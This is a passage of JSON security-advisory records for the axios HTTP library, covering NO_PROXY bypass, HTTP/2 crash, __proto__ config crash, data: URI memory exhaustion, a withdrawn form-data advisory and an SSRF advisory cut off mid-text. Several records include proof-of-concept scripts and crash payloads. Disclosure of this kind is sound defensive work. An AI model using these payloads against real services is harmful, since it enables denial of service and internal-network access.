hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n  res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n  res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n  try {\n    await axios.get(url, { timeout: 2000 });\n  } catch {}\n}\n\nsetTimeout(async () =\u003e {\n  console.log(\"\\n[*] Testing http://localhost.:8080/\");\n  await test(\"http://localhost.:8080/\"); // goes through proxy\n\n  console.log(\"\\n[*] Testing http://[::1]:8080/\");\n  await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n  * Force Axios to send local traffic through an attacker-controlled proxy.\n  * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n  * Potentially exfiltrate sensitive responses from internal services via the proxy.\n  \n  \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios’ current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-09T17:32:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5","https://nvd.nist.gov/vuln/detail/CVE-2025-62718","https://github.com/axios/axios/pull/10661","https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df","https://datatracker.ietf.org/doc/html/rfc1034#section-3.1","https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2","https://github.com/axios/axios/releases/tag/v1.15.0","https://github.com/axios/axios/pull/10688","https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c","https://github.com/axios/axios/releases/tag/v0.31.0","https://github.com/advisories/GHSA-3p68-rc4w-qgx5"],"source_kind":"github","identifiers":["GHSA-3p68-rc4w-qgx5","CVE-2025-62718"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-09T18:00:11.082Z","updated_at":"2026-09-28T20:04:02.850Z","epss_percentage":0.01186,"epss_percentile":0.66522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.0","vulnerable_version_range":"\u003c 0.31.0"},{"first_patched_version":"1.15.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","url":"https://github.com/advisories/GHSA-qj83-cq47-w5f8","title":"Axios HTTP/2 Session Cleanup State Corruption Vulnerability","description":"### Summary\n\nAxios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled.\n\n### Details\n\nThe vulnerability exists in the `Http2Sessions.getSession()` method in `lib/adapters/http.js`. The session cleanup logic contains a control flow error when removing sessions from the sessions array.\n\n**Vulnerable Code:**\n```javascript\nwhile (i--) {\n  if (entries[i][0] === session) {\n    entries.splice(i, 1);\n    if (len === 1) {\n      delete this.sessions[authority];\n      return;\n    }\n  }\n}\n```\n\n**Root Cause:**\nAfter calling `entries.splice(i, 1)` to remove a session, the original code only returned early if `len === 1`. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices.\n\n**Fixed Code:**\n```javascript\nwhile (i--) {\n  if (entries[i][0] === session) {\n    if (len === 1) {\n      delete this.sessions[authority];\n    } else {\n      entries.splice(i, 1);\n    }\n    return;\n  }\n}\n```\n\nThe fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability.\n\n**Affected Component:**\n- `lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler\n\n### PoC\n\n1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client\n2. Establish multiple concurrent HTTP/2 sessions with the axios client\n3. Close all sessions simultaneously with precise timing\n4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently\n5. This causes the client to access invalid memory locations, resulting in a process crash\n\n**Prerequisites:**\n- Client must use axios with HTTP/2 enabled\n- Client must connect to attacker-controlled HTTP/2 server\n- Multiple concurrent HTTP/2 sessions must be established\n- Server must close all sessions simultaneously with precise timing\n\n### Impact\n\n**Who is impacted:**\n- Applications using axios with HTTP/2 enabled\n- Applications connecting to untrusted or attacker-controlled HTTP/2 servers\n- Node.js applications using axios for HTTP/2 requests\n\n**Impact Details:**\n- **Denial of Service:** Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously\n- **Availability Impact:** Complete loss of availability for the client process through crash (though service may auto-restart)\n- **Scope:** Impact is limited to the single client process making the requests; does not escape to affect other components or systems\n- **No Confidentiality or Integrity Impact:** Vulnerability only causes process crash, no information disclosure or data modification\n\n**CVSS Score:** 5.9 (Medium)\n**CVSS Vector:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n**CWE Classifications:**\n- CWE-400: Uncontrolled Resource Consumption\n- CWE-662: Improper Synchronization","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T15:51:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-qj83-cq47-w5f8","https://nvd.nist.gov/vuln/detail/CVE-2026-39865","https://github.com/axios/axios/releases/tag/v1.13.2","https://github.com/axios/axios/commit/0588880ac7ddba7594ef179930493884b7e90bf5","https://github.com/advisories/GHSA-qj83-cq47-w5f8"],"source_kind":"github","identifiers":["GHSA-qj83-cq47-w5f8","CVE-2026-39865"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.114Z","updated_at":"2026-09-25T12:04:31.758Z","epss_percentage":0.00752,"epss_percentile":0.52996,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.13.2","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.13.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","url":"https://github.com/advisories/GHSA-43fc-jf86-j433","title":"Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig","description":"# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `'__proto__'`:\n\n1. `JSON.parse('{\"__proto__\": {...}}')` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `'__proto__'` in the iteration\n3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse('{\"__proto__\": {\"x\": 1}}')` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-09T17:46:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433","https://github.com/axios/axios/pull/7369","https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57","https://github.com/axios/axios/releases/tag/v1.13.5","https://nvd.nist.gov/vuln/detail/CVE-2026-25639","https://github.com/axios/axios/pull/7388","https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e","https://github.com/axios/axios/releases/tag/v0.30.3","https://github.com/advisories/GHSA-43fc-jf86-j433"],"source_kind":"github","identifiers":["GHSA-43fc-jf86-j433","CVE-2026-25639"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-09T18:00:11.533Z","updated_at":"2026-09-30T09:05:35.836Z","epss_percentage":0.01804,"epss_percentile":0.77672,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.30.3","vulnerable_version_range":"\u003c= 0.30.2"},{"first_patched_version":"1.13.5","vulnerable_version_range":"\u003e= 1.0.0, \u003c= 1.13.4"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","url":"https://github.com/advisories/GHSA-4hjh-wcwx-xvwj","title":"Axios is vulnerable to DoS attack through lack of data size check","description":"## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === 'data:') {\n  let convertedData;\n  if (method !== 'GET') {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === 'blob', {\n    Blob: config.env \u0026\u0026 config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === 'data') {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError('Unsupported protocol ' + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require('axios');\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = 'A'.repeat(base64Size);\n  const uri = 'data:application/octet-stream;base64,' + base64;\n\n  console.log('Generating URI with base64 length:', base64.length);\n  const response = await axios.get(uri, {\n    responseType: 'arraybuffer'\n  });\n\n  console.log('Received bytes:', response.data.length);\n}\n\nmain().catch(err =\u003e {\n  console.error('Error:', err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n\u003c--- Last few GCs ---\u003e\n…\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x… node::Abort() …\n…\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c =\u003e c \u003e= 200 \u0026\u0026 c \u003c 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=\u003eres.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"\u003chttp|https|data URL\u003e\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) =\u003e {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () =\u003e controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) =\u003e {\n      if (sent + chunk.length \u003e cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () =\u003e limiter.end());\n    r.data.on(\"error\", (e) =\u003e limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () =\u003e {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))' \\\n| tee payload.json \u003e/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-09-11T21:07:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/releases/tag/v1.12.0","https://nvd.nist.gov/vuln/detail/CVE-2025-58754","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/advisories/GHSA-4hjh-wcwx-xvwj"],"source_kind":"github","identifiers":["GHSA-4hjh-wcwx-xvwj","CVE-2025-58754"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2025-09-11T22:10:23.612Z","updated_at":"2026-10-02T08:05:57.528Z","epss_percentage":0.0114,"epss_percentile":0.64502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.12.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.12.0"}],"purl":"pkg:npm/axios","statistics":{"dependent_packages_count":97210,"dependent_repos_count":453457,"downloads":466020909,"downloads_period":"last-month"},"affected_versions":["1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.0-alpha.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.4.0","1.5.0","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.0-beta.0","1.7.0-beta.1","1.7.0-beta.2","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.10.0","1.11.0"],"unaffected_versions":["0.1.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.10.0","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.16.0","0.16.1","0.16.2","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.1","0.19.2","0.20.0","0.21.0","0.21.1","0.21.2","0.21.3","0.21.4","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.27.1","0.27.2","0.28.0","0.28.1","0.29.0","0.30.0","0.30.1","0.30.2","0.30.3","0.30.4","0.31.0","0.31.1","0.32.0","0.33.0","0.34.0","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.14.0","1.14.1","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.17.0","1.18.0","1.18.1","1.19.0","1.20.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","url":"https://github.com/advisories/GHSA-rm8p-cx58-hcvx","title":"Withdrawn Advisory: Axios has Transitive Critical Vulnerability via form-data","description":"### Withdrawn Advisory\nThis advisory has been withdrawn because users of Axios 1.10.0 have the flexibility to use a patched version of form-data, the software in which the vulnerability originates, without upgrading Axios to address GHSA-fjxv-7rqg-78g4.\n\n### Original Description\nA critical vulnerability exists in the form-data package used by `axios@1.10.0`. The issue allows an attacker to predict multipart boundary values generated using `Math.random()`, opening the door to HTTP parameter pollution or injection attacks.\n\nThis was submitted in [issue #6969](https://github.com/axios/axios/issues/6969) and addressed in [pull request #6970](https://github.com/axios/axios/pull/6970).\n\n### Details\nThe vulnerable package `form-data@4.0.0` is used by `axios@1.10.0` as a transitive dependency. It uses non-secure, deterministic randomness (`Math.random()`) to generate multipart boundary strings.\n\nThis flaw is tracked under [Snyk Advisory SNYK-JS-FORMDATA-10841150](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150) and [CVE-2025-7783](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150).\n\nAffected `form-data` versions:\n- \u003c2.5.4\n- \u003e=3.0.0 \u003c3.0.4\n- \u003e=4.0.0 \u003c4.0.4\n\nSince `axios@1.10.0` pulls in `form-data@4.0.0`, it is exposed to this issue.\n\n\n### PoC\n1. Install Axios: - `npm install axios@1.10.0`\n2.Run `snyk test`:\n```\nTested 104 dependencies for known issues, found 1 issue, 1 vulnerable path.\n\n✗ Predictable Value Range from Previous Values [Critical Severity]\nin form-data@4.0.0 via axios@1.10.0 \u003e form-data@4.0.0\n\n```\n3. Trigger a multipart/form-data request. Observe the boundary header uses predictable random values, which could be exploited in a targeted environment.\n\n\n### Impact\n\n- **Vulnerability Type**: Predictable Value / HTTP Parameter Pollution\n- **Risk**: Critical (CVSS 9.4)\n- **Impacted Users**: Any application using axios@1.10.0 to submit multipart form-data\n\n\nThis could potentially allow attackers to:\n- Interfere with multipart request parsing\n- Inject unintended parameters\n- Exploit backend deserialization logic depending on content boundaries\n\n### Related Links\n[GitHub Issue #6969](https://github.com/axios/axios/issues/6969)\n\n[Pull Request #xxxx](https://github.com/axios/axios/pull/xxxx) (replace with actual link)\n\n[Snyk Advisory](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150)\n\n[form-data on npm](https://www.npmjs.com/package/form-data)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-23T16:49:38.000Z","withdrawn_at":"2025-07-24T13:35:30.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-rm8p-cx58-hcvx","https://github.com/axios/axios/issues/6969","https://github.com/axios/axios/pull/6970","https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150","https://nvd.nist.gov/vuln/detail/CVE-2025-7783","https://nvd.nist.gov/vuln/detail/CVE-2025-54371","https://github.com/advisories/GHSA-fjxv-7rqg-78g4","https://github.com/advisories/GHSA-rm8p-cx58-hcvx"],"source_kind":"github","identifiers":["GHSA-rm8p-cx58-hcvx","CVE-2025-54371"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2025-07-23T17:08:53.597Z","updated_at":"2026-09-22T08:07:33.865Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"= 1.10.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","url":"https://github.com/advisories/GHSA-jr5f-v2jv-69x6","title":"axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL","description":"### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code 